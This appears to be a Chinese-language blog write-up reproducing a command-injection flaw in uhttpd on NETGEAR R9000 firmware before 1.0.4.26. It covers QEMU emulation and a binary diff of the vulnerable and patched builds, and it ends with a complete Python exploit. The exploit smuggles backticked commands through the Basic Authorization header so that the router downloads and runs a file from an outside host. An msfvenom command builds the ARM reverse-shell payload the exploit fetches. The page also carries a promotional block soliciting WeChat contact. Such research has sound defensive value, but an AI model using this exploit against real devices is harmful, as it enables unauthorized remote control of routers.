漏洞概述
漏洞服務: uhttpd
漏洞型別: 遠端命令執行
影響範圍: 1.0.4.26之前的NETGEAR R9000裝置會受到身份驗證繞過的影響
解決建議: 更新版本
漏洞復現
操作環境: ubuntu:22.04
qemu-version: 8.1.1
模擬環境
wget https://www.downloads.netgear.com/files/GDC/R9000/R9000-V1.0.4.26.zip
下載韌體。
binwalk -Mer R9000-V1.0.4.26.img
可透過 binwalk
常規解壓獲得檔案系統。
檢查 ELF32
檔案架構為 arm-32-little
。
wget https://file.erlkonig.tech/debian-armhf/wheezy/debian_wheezy_armhf_standard.qcow2
wget https://file.erlkonig.tech/debian-armhf/wheezy/initrd.img-3.2.0-4-vexpress
wget https://file.erlkonig.tech/debian-armhf/wheezy/vmlinuz-3.2.0-4-vexpress
下載合適的虛擬機器映像。
#!/bin/sh
# 參考《CTF實戰》by ChaMd5
# 'ens33': The NIC is that can connect internet
#sudo ifconfig eth0 down # 首先關閉宿主機網路卡介面
sudo brctl addbr br0 # 新增一座名為 br0 的網橋
sudo brctl addif br0 ens33 # 在 br0 中新增一個介面
sudo brctl stp br0 off # 如果只有一個網橋,則關閉生成樹協議
sudo brctl setfd br0 1 # 設定 br0 的轉發延遲
sudo brctl sethello br0 1 # 設定 br0 的 hello 時間
sudo ifconfig br0 0.0.0.0 promisc up # 啟用 br0 介面
sudo ifconfig ens33 0.0.0.0 promisc up # 啟用網路卡介面
sudo dhclient br0 # 從 dhcp 伺服器獲得 br0 的 IP 地址
sudo brctl show br0 # 檢視虛擬網橋列表
sudo brctl showstp br0 # 檢視 br0 的各介面資訊
sudo tunctl -t tap0 -u root # 建立一個 tap0 介面,只允許 root 使用者訪問
sudo brctl addif br0 tap0 # 在虛擬網橋中增加一個 tap0 介面
sudo ifconfig tap0 0.0.0.0 promisc up # 啟用 tap0 介面
sudo brctl showstp br0
配置網路。
#!/bin/sh
qemu-system-arm \
-M vexpress-a9 \
-kernel vmlinuz-3.2.0-4-vexpress \
-initrd initrd.img-3.2.0-4-vexpress \
-drive if=sd,file=debian_wheezy_armhf_standard.qcow2 \
-append "root=/dev/mmcblk0p2 console=ttyAMA0" \
-net nic -net tap,ifname=tap0,script=no,downscript=no \
-nographic
-M # 選擇開發板•
-m # 指定記憶體大小
-drive # 定義儲存驅動器•
file= # 定義映象檔案•
-net nic # 建立客戶機網路卡•
-net tap # 建立 tap 裝置,以橋接方式跟宿主機通訊•
ifname=virtual0 # tap 裝置與名為 virtual0 的虛擬網路卡進行橋接通訊•
-nographic # 以非圖形化模式啟動•
-append # 核心啟動附加引數•
-console=ttyAMA0 # console指向串列埠,有此啟動引數,核心啟動日誌才能輸出到宿主機終端
-nographic # 不再啟用額外的終端介面
啟動 qemu-system-armhf
環境,預設使用者名稱密碼都為 root
。
ifconfig eth0 192.168.152.168/24
為 qemu-system-armhf
配置靜態 IP
。
tar -cvf squashfs-root.tar.gz squashfs-root/
python3 -m http.server
將檔案根系統打包,然後利用 python3
的 http.server
模組下載到 qemu-system-armhf
的根目錄中並用 tar xvf squashfs-root.tar.gz
解壓。
cd /squashfs-root
mount --bind /proc proc # proc目錄是一個虛擬檔案系統,可以為linux使用者空間和核心空間提供互動
mount --bind /dev dev # /dev/下的裝置是透過建立裝置節點生成的,使用者透過此裝置節點來訪問核心裡的驅動
chroot . sh
因為 chroot
會導致無法在隔離的檔案系統中訪問原本的 /proc
和 /dev
目錄,這裡利用 mount
命令將 qemu-system-armhf
的 proc
和 dev
目錄掛在到 squashfs-root
中,並更換根目錄為 squashfs-root
。
【----幫助網安學習,以下所有學習資料免費領!加vx:dctintin,備註 “部落格園” 獲取!】
① 網安學習成長路徑思維導圖
② 60+網安經典常用工具包
③ 100+SRC漏洞分析報告
④ 150+網安攻防實戰技術電子書
⑤ 最權威CISSP 認證考試指南+題庫
⑥ 超1800頁CTF實戰技巧手冊
⑦ 最新網安大廠面試題合集(含答案)
⑧ APP客戶端安全檢測指南(安卓+IOS)
Web模擬
find -name uhttpd
cat ./etc/init.d/uhttpd
# ./etc/init.d/uhttpd
...
start() {
#config_load uhttpd
#config_foreach start_instance uhttpd
#mkdir /tmp/www
#cp -rf /usr/www/* /tmp/www
/www/cgi-bin/uhttpd.sh start
inetd
detplc
#for bug58012
touch /tmp/fwcheck_status
}
...
查詢 uhttpd
的相關檔案。
#!/bin/sh
REALM=`/bin/cat /module_name | sed 's/\n//g'`
UHTTPD_BIN="/usr/sbin/uhttpd"
PX5G_BIN="/usr/sbin/px5g"
uhttpd_stop()
{
kill -9 $(pidof uhttpd)
}
uhttpd_start()
{
$UHTTPD_BIN -h /www -r ${REALM} -x /cgi-bin -t 70 -p 0.0.0.0:80 -C /etc/uhttpd.crt -K /etc/uhttpd.key -s 0.0.0.0:443
}
case "$1" in
stop)
uhttpd_stop
;;
start)
uhttpd_start
;;
restart)
uhttpd_stop
uhttpd_start
;;
*)
logger -- "usage: $0 start|stop|restart"
;;
esac
檢視 start()
函式中利用的 /www/cgi-bin/uhttpd.sh
指令碼。發現啟動命令為 $UHTTPD_BIN -h /www -r ${REALM} -x /cgi-bin -t 70 -p 0.0.0.0:80 -C /etc/uhttpd.crt -K /etc/uhttpd.key -s 0.0.0.0:443
其中 REALM = R9000
,UHTTPD_BIN = /usr/sbin/uhttpd
。我們無需開啟 https
,所以啟動命令為 /usr/sbin/uhttpd -h /www -r R9000 -x /cgi-bin -t 70 -p 0.0.0.0:80
。
逆向分析
wget https://www.downloads.netgear.com/files/GDC/R9000/R9000-V1.0.4.28.zip
獲取修復版本的韌體。因為原始碼較為繁雜,我們透過 Bindiff
進行二進位制比對,來查詢漏洞點。
shift+D
選取修復版本的 /usr/sbin/uhttpd
檔案即可,主要檢視登入驗證的 uh_cgi_auth_check()
函式。
memset(s, 0, 0x1000u);
v14 = strlen(v13);
uh_b64decode(s, 0xFFF, v13 + 6, v14 - 6);
v15 = strchr(s, ':');
if ( !v15 )
{
LABEL_32:
v16 = 0;
v17 = 0;
goto LABEL_15;
}
v16 = v15 + 1;
*v15 = 0;
if ( v15 != (char *)0xFFFFFFFF )
{
snprintf(command, 0x80u, "/usr/sbin/hash-data -e %s >/tmp/hash_result", v15 + 1);
system(command);
v3 = cat_file(73805);
}
v17 = s
漏洞版本 base64
解密後 snprintf()
後直接傳給 system()
執行,這裡會把 v15(:)
後面的內容放到 %s
處,記得加\n
來執行多條指令。
memset(s, 0, 0x1000u);
v15 = strlen(v14);
uh_b64decode(s, 4095, v14 + 6, v15 - 6);
v16 = strchr(s, 58);
if ( !v16 )
{
LABEL_15:
v17 = 0;
v18 = 0;
goto LABEL_16;
}
v17 = v16 + 1;
*v16 = 0;
if ( v16 != (char *)-1 )
{
v18 = s;
dni_system("/tmp/hash_result", 0, 0, "/usr/sbin/hash-data", "-e", v17, 0);
v19 = cat_file("/tmp/hash_result");
goto LABEL_17;
}
而修復版本則利用 dni_system()
執行,只可控引數。
獲取許可權
poc:
#!/usr/bin/python3
from pwn import *
import requests
import base64
cmd = 'admin:'
cmd += '`'
cmd += 'wget http://192.168.152.167:8000/shell.elf\n'
cmd += 'chmod 777 ./shell.elf\n'
cmd += './shell.elf\n'
cmd += '`'
assert(len(cmd) < 255)
cmd_b64 = base64.b64encode(cmd.encode()).decode()
headers = {
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:85.0) Gecko/20100101 Firefox/85.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
"Accept-Encoding": "gzip, deflate",
"Connection": "keep-alive",
"Upgrade-Insecure-Requests": "1",
"Authorization": "Basic " + cmd_b64
}
def attack():
try:
requests.get("http://192.168.152.168/cgi-bin/", headers=headers, timeout=3)
except Exception as e:
print(e)
attack()
msfvenom -p linux/armle/shell_reverse_tcp LHOST=192.168.152.167 LPORT=10086 -f elf > shell.elf
利用 msf
生成對應架構的木馬程式,然後在shell.elf
所在的目錄開啟http
服務,利用漏洞將木馬程式下載下來。
啟動監聽,並執行 exp.py
成功獲取 shell
,我們利用獲取的許可權在 www
目錄建立 flag.txt
檔案然後訪問它。
成功建立。
更多網安技能的線上實操練習,請點選這裡>>